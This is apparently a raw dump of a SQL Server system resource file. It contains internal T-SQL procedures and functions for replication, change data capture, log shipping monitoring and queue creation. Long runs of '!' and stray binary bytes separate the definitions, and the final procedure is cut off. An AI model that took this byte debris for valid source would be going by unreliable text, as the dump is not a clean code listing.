!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`</
)fk0VG 8
--
-- Name:    
--          fn_IHview_name
--          
-- Description: 
--          Use article id and table id to generate an article view name unique
--			to a given heterogeneous publisher.  Template is HREPL_ARTICLE_XXX_XXX
--  
-- Security: 
--          Internal
--
-- Returns:
--          View name
--      
-- Owner:   
--          <current owner> 

create function sys.fn_IHview_name
(
	@articleid	int,
	@tableid	int
)
returns nvarchar(255)
as
begin
	declare @viewname nvarchar(255)
	select @viewname = N'HREPL_ARTICLE_'
	select @viewname = @viewname + CONVERT(nvarchar(16),@articleid) + N'_'
	select @viewname = @viewname + CONVERT(nvarchar(16),@tableid)
	
	return @viewname
end
0I 8
create procedure sys.sp_table_type_columns_100_rowset
(
    @table_name     sysname = NULL,
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL
)
as
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE,
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG,
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA,
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME,
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG,
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA,
        COLLATION_NAME          = s_cv.COLLATION_NAME,
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID,
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS,
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION,
        IS_COMPUTED             = s_cv.IS_COMPUTED,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_cv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_cv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME         = s_cv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME      = s_cv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME       = s_cv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME             = s_cv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME= s_cv.SS_UDT_ASSEMBLY_TYPENAME,
        SS_IS_SPARSE            = s_cv.SS_IS_SPARSE,
        SS_IS_COLUMN_SET        = s_cv.SS_IS_COLUMN_SET

    from
        sys.spt_table_type_columns_view s_cv

    where
        (@table_name is null or s_cv.TABLE_NAME = @table_name) and 
        (@table_schema is null or schema_id(@table_schema) = s_cv.schema_id) and
        (@column_name is null or s_cv.COLUMN_NAME = @column_name)

    order by 1, 2, 3, 7
0vW 8create procedure sys.sp_cdc_parse_update_flag_list
(
	@object_id	int,
	@update_flag_list nvarchar(max)
)	
as
begin
	declare @retcode int
		,@column sysname
		,@list nvarchar(max)
		,@column_name sysname
		,@quoted_change_table nvarchar(1000)
		
    set nocount on
    
    set @list = @update_flag_list
    set @column = null
   
    -- Extract one token at a time from the list
    while(@list is not null)
    begin
        -- Split out the next column from the list
		exec @retcode = [sys].[sp_cdc_extract_column] @column output
			,@list output
		
		if (@retcode != 0) or (@@error != 0)
		begin
			return 1
		end
		
		set @column_name = null		

		-- Locate information for the extracted column
		select @column_name = name
		from [sys].[columns]   
		where object_id = @object_id
		and   name      = @column
		
		if (@column_name is null)
		begin
			set @quoted_change_table = N'[cdc].' + quotename(object_name(@object_id))
			raiserror(22919, 16, -1, @quoted_change_table)
			return 1 	 	
		end
		
		-- Populate local table with column information
		insert into #update_flags
		values(@column_name)
    end

	return 0
end
0ZiS@ D8*h t#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S`H<c0
V/02 8--
-- Name: fn_fcomputedpkimprecise
--
-- Description: This function loops through all primary key columns
--	and check for IsPrecise column property, returns 1 if any column 
--	is not IsPrecise. sp_addarticle and UI will use this fn to disallow 
--	publishing of table with imprecise computed pk columns
--	
--
-- Parameters: 
--  @object_id  int
-- 
-- Returns: int : 	1 means table has imprecise pk col hence should not be published
--					0 means table can be published
--
-- Notes: 
--
-- Security: Not exposed as Public Object
-- Requires Certificate signature for catalog access
-- 
CREATE FUNCTION sys.fn_fcomputedpkimprecise 
(
    @object_id int
)
returns int
as
begin
    declare @col_name sysname
            ,@fImprecise int
    select @fImprecise = 0

    --loop through all pk columns, if anyone has 'IsPrecise' = 0, break the loop 
    --and return 1

    DECLARE #column_cur CURSOR LOCAL FAST_FORWARD FOR
        select sc.name 
        from sys.columns sc
            join sys.indexes si 
                on sc.object_id = si.object_id 
            join sys.index_columns sic 
                on sc.object_id = sic.object_id 
                    and si.index_id = sic.index_id 
                    and sc.column_id = sic.column_id
        where sc.object_id = @object_id
        and si.is_primary_key = 1

    OPEN #column_cur
    FETCH #column_cur into @col_name
    WHILE(@@fetch_status <> -1)
    begin
        if columnproperty(@object_id, @col_name, N'IsPrecise') = 0
        begin
            select @fImprecise = 1
            break
        end
        FETCH #column_cur into @col_name
    end
    CLOSE #column_cur
    DEALLOCATE #column_cur
    return @fImprecise 
end
0k,4 8create procedure sys.sp_MSproxylogshippingmonitorprimary 
(
    @mode tinyint -- 1 = add, 2 = delete, 3 = update
    ,@primary_id uniqueidentifier
    ,@primary_server sysname = NULL
    ,@monitor_server sysname 
    ,@primary_database sysname = NULL
    ,@backup_threshold int = NULL
    ,@threshold_alert int = NULL
    ,@threshold_alert_enabled bit = NULL
    ,@last_backup_file nvarchar(500) = NULL
    ,@last_backup_date datetime = NULL
    ,@last_backup_date_utc datetime = NULL
    ,@history_retention_period int = NULL
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(512)
    --
    -- should be executed in msdb
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_MSproxylogshippingmonitorprimary', N'msdb')
        return 1
    end
    -- 
    -- process the monitor record in log_shipping_monitor_primary on the monitor server 
    --
    select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorprimary'
    begin try
        exec @retcode = @linkcmd 
            @mode = @mode
            ,@primary_id = @primary_id
            ,@primary_server = @primary_server
            ,@monitor_server = @monitor_server
            ,@monitor_server_security_mode = 0
            ,@primary_database = @primary_database
            ,@backup_threshold = @backup_threshold
            ,@threshold_alert = @threshold_alert
            ,@threshold_alert_enabled = @threshold_alert_enabled
            ,@last_backup_file = @last_backup_file
            ,@last_backup_date = @last_backup_date
            ,@last_backup_date_utc = @last_backup_date_utc
            ,@history_retention_period = @history_retention_period
    end try
    begin catch
        select @retcode = 1
    end catch
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^`	<u1
/c0 )8create procedure sys.sp_cdc_create_change_enumeration_wrapper_function
(
	@capture_instance sysname,
	@function_name nvarchar(145),
	@mapping_option nvarchar(30),
	@column_list nvarchar(max),
	@update_flag_list nvarchar(max),
	@create_script nvarchar(max) OUTPUT
)	
as
begin
    set nocount on
    
    create table #included_columns
		(name sysname collate database_default null,
		 column_id int null)
    
    create table #update_flags
		(name sysname collate database_default null)
    
    declare @update_flag_list_with_type nvarchar(max),
		@column_ordinals nvarchar(max),
		@is_bit_set_list nvarchar(max),
		@column_list_with_type nvarchar(max),
		@select_column_list nvarchar(max),
		@column sysname,
		@quoted_change_table nvarchar(1000),
		@object_id int,
		@column_id int,
		@retcode int,
		@order_by_clause nvarchar(40),
		@seqval_column nvarchar(80),
		@seqval_column_with_type nvarchar(80),
		@function_prefix nvarchar(30),
		@colcnt int
		
	set @quoted_change_table = N'[cdc].' + quotename(@capture_instance + N'_CT')
	set	@object_id = object_id(@quoted_change_table)
	
	if (@function_name like N'fn_all_changes%')
	begin
		set @order_by_clause = N'order by [__$seqval], [__$operation]'
		set @seqval_column = N'[__$start_lsn] as [__CDC_STARTLSN], [__$seqval] as [__CDC_SEQVAL], '
		set @seqval_column_with_type = N'[__CDC_STARTLSN] binary(10), [__CDC_SEQVAL] binary(10), '
		set @function_prefix = 'fn_cdc_get_all_changes_'
	end
	else
	begin
		set @order_by_clause = N' '
		set @seqval_column = N' '
		set @seqval_column_with_type = N' '
		set @function_prefix = 'fn_cdc_get_net_changes_'
	end
		
	-- If non-null, parse column list and verify that identified columns
	-- appear in the change table.
	if (@column_list is not null)
	begin
		exec @retcode = [sys].[sp_cdc_parse_included_column_list] @object_id, @column_list
			
		if (@retcode != 0) or (@@error != 0)
		begin
			return 1
		end		
    end
    else
    -- If @column_list is null, all of the tracked columns will be included
    begin
		insert into #included_columns
		select name, column_id
		from [sys].[columns]
		where object_id = @object_id
		and lower(name) collate database_default not in ('__$start_lsn', '__$end_lsn', '__$seqval', '__$operation', '__$update_mask')	
		order by column_id
	end
	
	-- If non-null, parse update flag list and verify that identified columns
	-- appear in the change table.
	if (@update_flag_list is not null)
	begin
		exec @retcode = [sys].[sp_cdc_parse_update_flag_list] @object_id, @update_flag_list
			
		if (@retcode != 0) or (@@error != 0)
		begin
			return 1
		end		
    end						

	set @colcnt = 0
	declare #hflags cursor local fast_forward for
		select name from #update_flags
	
	open #hflags
	fetch #hflags into @column
	
	set @update_flag_list_with_type = N''
	set @column_ordinals = N''
	set @is_bit_set_list = N''

	while (@@fetch_status <> -1)
	begin
		set @colcnt = @colcnt + 1
		set @update_flag_list_with_type = @update_flag_list_with_type + N', ' + quotename(@column + N'_uflag') + N' bit'
			
		set @column_ordinals = @column_ordinals + N'
		declare @ordinal_' + convert(nvarchar(10),@colcnt) + N' int
		select @ordinal_' + convert(nvarchar(10),@colcnt) + N' = [sys].[fn_cdc_get_column_ordinal]
			(' + quotename(@capture_instance, '''') + ', ' + quotename(@column, '''') + N') '	
		
		set @is_bit_set_list = @is_bit_set_list + N',   
			case [__$operation] 
				when 4 then 
					case (isnull(cast([__$update_mask] as varchar),''''))
						when '''' then null 
						else [sys].[fn_cdc_is_bit_set](@ordinal_' + convert(nvarchar(10),@colcnt) + N', [__$update_mask])
					end	
				else null
			 end as ' + quotename(@column + N'_uflag') 			
	
		fetch #hflags into @column
	end
	
	close #hflags
	deallocate #hflags
	
    declare #hcolumns cursor local fast_forward for
		select name, column_id from #included_columns
	
	open #hcolumns
	fetch #hcolumns into @column, @column_id
	
	set @column_list_with_type = N''
	set @select_column_list = N''
	
	while (@@fetch_status <> -1)
	begin
		set @column_list_with_type = @column_list_with_type + quotename(@column) + N' ' + 
				[sys].[fn_cdc_format_type]( @object_id, @column_id) +  N', ' 

		set @select_column_list = @select_column_list +  quotename(@column)  + N', ' 
		
		fetch #hcolumns into @column, @column_id
		
	end
	
	close #hcolumns
	deallocate #hcolumns
	    
	set @create_script =
	N'
	create function ' + quotename(@function_name) + N'
	(	@start_time datetime = null,
		@end_time datetime = null,
		@row_filter_option nvarchar(30) = N''all''
	)
	returns @resultset table ( ' + @seqval_column_with_type + @column_list_with_type + N' [__CDC_OPERATION] varchar(2) ' +
	            @update_flag_list_with_type + N' 
	) as
	begin
		declare @from_lsn binary(10), @to_lsn binary(10) ' + @column_ordinals + N'
		
		if (@start_time is null)
			select @from_lsn = [sys].[fn_cdc_get_min_lsn](' + quotename(@capture_instance, '''') + N')
		else
		begin
			if ([sys].[fn_cdc_map_lsn_to_time]([sys].[fn_cdc_get_min_lsn](' + quotename(@capture_instance, '''') + N')) > @start_time) or
			   ([sys].[fn_cdc_map_lsn_to_time]([sys].[fn_cdc_get_max_lsn]()) < @start_time)
				select @from_lsn = null
			else
				select @from_lsn = [sys].[fn_cdc_increment_lsn]([sys].[fn_cdc_map_time_to_lsn](''' + @mapping_option + N''',@start_time))
		end	
	
		if (@end_time is null)
			select @to_lsn = [sys].[fn_cdc_get_max_lsn]()
		else
		begin
			if [sys].[fn_cdc_map_lsn_to_time]([sys].[fn_cdc_get_max_lsn]()) < @end_time
				select @to_lsn = null
			else
				select @to_lsn = [sys].[fn_cdc_map_time_to_lsn](''' + @mapping_option + N''',@end_time)
		end
		
		if @from_lsn is not null and @to_lsn is not null and
			(@from_lsn = [sys].[fn_cdc_increment_lsn](@to_lsn))
			return
			
		insert into @resultset
		select ' + @seqval_column + @select_column_list + N'
			case [__$operation]
				when 1 then ''D''
				when 2 then ''I''
				when 3 then ''UO''
				when 4 then ''UN''
				when 5 then ''M''
				else null
			end as [__CDC_OPERATION] ' + @is_bit_set_list + N'		
		from [cdc].' +
			quotename(@function_prefix + @capture_instance) + N'(@from_lsn, @to_lsn, @row_filter_option) ' +
			@order_by_clause + '
		
		return
	end'		
	
		return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	<#2
X"0[@ ^8create procedure sys.sp_MSaddmqforsubscription
(
    @queueserver sysname output       -- output server name for created queue
    ,@queueid sysname output             -- output queue id for created queue
)
as
begin
    declare @retcode int
                ,@qservicestatus int
                ,@tries tinyint

    --
    -- Check if the MSMQ service is running
    -- BYPASS the check for clusters
    --
    if ( SERVERPROPERTY('IsClustered') = 0 )
    begin
        exec @retcode = sys.xp_controlqueueservice 
                            @control_command = 1,
                            @return_result = @qservicestatus output
        if (@retcode != 0 or @@error != 0)
        begin
            raiserror(21542, 16, 3, @@error, 'xp_controlqueueservice')
            return 1
        end
        if (@qservicestatus != 1)
        begin
            raiserror(21763, 16, 2)
            return 1
        end
        /***************************************************
        ***** For NOW we will not AUTOSTART MSMQ services
        ****************************************************
        if (@qservicestatus != 1)
        begin
            -- Queue service is not running. Try starting it only if it is
            -- stopped. Otherwise, return with error (we do not want to 
            -- handle the cases for Pause/Pending/Continue states)
            if (@qservicestatus = 2)
            begin
                -- start the service
                exec @retcode = sys.xp_controlqueueservice 
                                @control_command = 2,
                                @return_result = @qservicestatus output
                if (@retcode != 0 or @@error != 0)
                begin
                    raiserror(21542, 16, 4, @@error, 'xp_controlqueueservice')
                    return 1
                end
                --
                -- check status (try 3 times with 2 sec delays)
                --
                select @tries = 0
                while ((@qservicestatus != 1) and (@tries < 3))
                begin
                    WAITFOR DELAY '00:00:02'
                    select @tries = @tries + 1
                    exec @retcode = sys.xp_controlqueueservice 
                                    @control_command = 1,
                                    @return_result = @qservicestatus output
                    if (@retcode != 0 or @@error != 0)
                    begin
                        raiserror(21542, 16, 5, @@error, 'xp_controlqueueservice')
                        return 1
                    end					
                end -- end while
                --
                -- Did the service start
                --
                if (@qservicestatus != 1)
                begin
                    raiserror(21763, 16, 3)
                    return 1
                end
            end -- service status = 2
            else
            begin
                raiserror(21763, 16, 4)
                return 1
            end
        end -- service status != 1
        ***************************************************/
    end
    --
    -- create local private queue
    --
    select @queueid = cast(NEWID() as sysname)
    select @queueserver = @queueid
    exec @retcode = sys.xp_createprivatequeue @queueserver output
    if @@ERROR != 0 or @retcode != 0
    begin
        select @queueid = NULL
                ,@queueserver = NULL
        raiserror(21542, 16, 6, @@error, 'xp_createprivatequeue')
        return 1
    end
    --
    -- all done
    --
    return 0
end
0E@ 
8create procedure [sys].[sp_cdc_disable_table_instance] 
(
	@source_schema sysname,
	@source_name sysname,
	@capture_instance sysname
)
as
begin
    set nocount on
	
	declare @change_table sysname
		,@retcode int
		,@object_id int
		,@stmt nvarchar(max)
		,@action nvarchar(1000)
		,@table_resource nvarchar(255)
		,@applock_result int
		,@source_object_id int
		,@raised_error int
		,@raised_message nvarchar(4000)
        ,@instance_resource nvarchar(255)

	set @raised_error = 0		
	set @capture_instance = rtrim(@capture_instance)
	set @source_schema    = rtrim(@source_schema)	
	set @source_name      = rtrim(@source_name)	
	set @object_id = object_id('[cdc].' + quotename(@capture_instance + N'_CT'))
	set @source_object_id = object_id(quotename(@source_schema) + N'.' + quotename(@source_name))
    select @table_resource = N'__$cdc__table_' + convert(nvarchar(10),@source_object_id)
	
	--  Get exclusive table lock
	exec @applock_result = sys.sp_getapplock @Resource = @table_resource, @LockMode = N'Exclusive',
		@LockOwner = 'Transaction', @DbPrincipal = 'cdc'
		
	If @applock_result < 0
	begin
		-- Lock request failed.
		set @action = N'sys.sp_getapplock @Resource = ' + @table_resource + N'@LockMode = N''Exclusive'', @LockOwner = ''Transaction'', @DbPrincipal = ''cdc'' ' 
		raiserror(22840, 16, -1, @action, @applock_result)
	end
	
	--  Get exclusive instance lock
	set @instance_resource = quotename(@capture_instance)
	set @action = N'sys.sp_getapplock @Resource = @instance_resource, @LockMode = N''Exclusive'', @LockOwner = ''Transaction'', @DbPrincipal = ''cdc'' ' 
	exec @applock_result = sys.sp_getapplock @Resource = @instance_resource, @LockMode = N'Exclusive',
		@LockOwner = 'Transaction', @DbPrincipal = 'cdc'
		
	If @applock_result < 0
	begin
		-- Lock request failed.
		raiserror(22840, 16, -1, @action, @applock_result)
	end
		
	BEGIN TRY
	
		-- Drop entries for the capture instance in [cdc].[index_columns].
		set @action = N'delete from [cdc].[index_columns] where object_id = @object_id'
		delete from [cdc].[index_columns]
		where object_id = @object_id
		
		-- Drop entries for the capture instance in [cdc].[captured_columns].
		set @action = N'delete from [cdc].[captured_columns] where object_id = @object_id'
		delete from [cdc].[captured_columns]
		where object_id = @object_id

		-- Drop entries for the capture instance in [cdc].[ddl_history].
		set @action = N'delete from [cdc].[ddl_history] where object_id = @object_id'
		delete from [cdc].[ddl_history]
		where object_id = @object_id
	
		-- Drop cdc objects associated with the change table.
		set @action = N'sp_cdc_drop_change_table_objects ' + @capture_instance  
		exec @retcode = [sys].[sp_cdc_drop_change_table_objects] @capture_instance
    
		-- Remove entry for change table in [cdc].[change_tables].
		set @action = N'delete from [cdc].[change_tables] where object_id = @object_id'
		delete [cdc].[change_tables]
		where object_id = @object_id
		
	END TRY	
	
	BEGIN CATCH 
	
		set @raised_error = ERROR_NUMBER()
		set @raised_message = ERROR_MESSAGE()
		
	END CATCH

	if (@raised_error <> 0)
	begin
		raiserror(22837, 16, -1, @capture_instance, @action, @raised_error, @raised_message)
		return 1
	end	
		
	return 0	
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<U3
/L#(A0y 8      
--
-- Name:    
--          sp_distagentstatus
--          
-- Description: 
--          Internal procedure for heterogeneous snapshot agent to
--          determine distribution agent status.
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Result set:  Agent status
--      
-- Owner:   
--          sward 

create procedure sys.sp_distagentstatus
(
	@publication	sysname,
	@publisher	sysname
)
AS
BEGIN

	DECLARE @independent_agent int
	DECLARE @publisher_id int
  
    SELECT @publisher_id = srvid 
    FROM master.dbo.sysservers
    WHERE UPPER(@publisher) = UPPER(srvname collate database_default)
      
	-- Determine whether the given publication shares an 
    -- agent with other publicaitons in the same database
    -- or not
    SELECT @independent_agent = 0
    SELECT @independent_agent = independent_agent 
    FROM dbo.MSpublications
    WHERE publisher_id = @publisher_id
      AND publisher_db = DB_NAME()
      AND publication = @publication  
        
    IF @independent_agent = 0 
    BEGIN
        -- If the publication shares an agent with 
        -- other publications, change the publication
        -- name to 'ALL' before querying the MSdistribution_agents
        -- table
        SELECT @publication = N'ALL'                
    END

    SELECT     (SELECT TOP 1 s.status 
                     FROM dbo.MSsubscriptions s
                     WHERE s.agent_id = msda.id),
                msda.job_id     
    FROM MSdistribution_agents msda
    WHERE msda.publisher_id = @publisher_id 
      AND msda.publisher_db = DB_NAME()
      AND msda.publication = @publication
END
0U >8create procedure sys.sp_replmonitorsubscriptionpendingcmds 
(
    @publisher sysname -- cannot be null
    ,@publisher_db sysname -- cannot be null
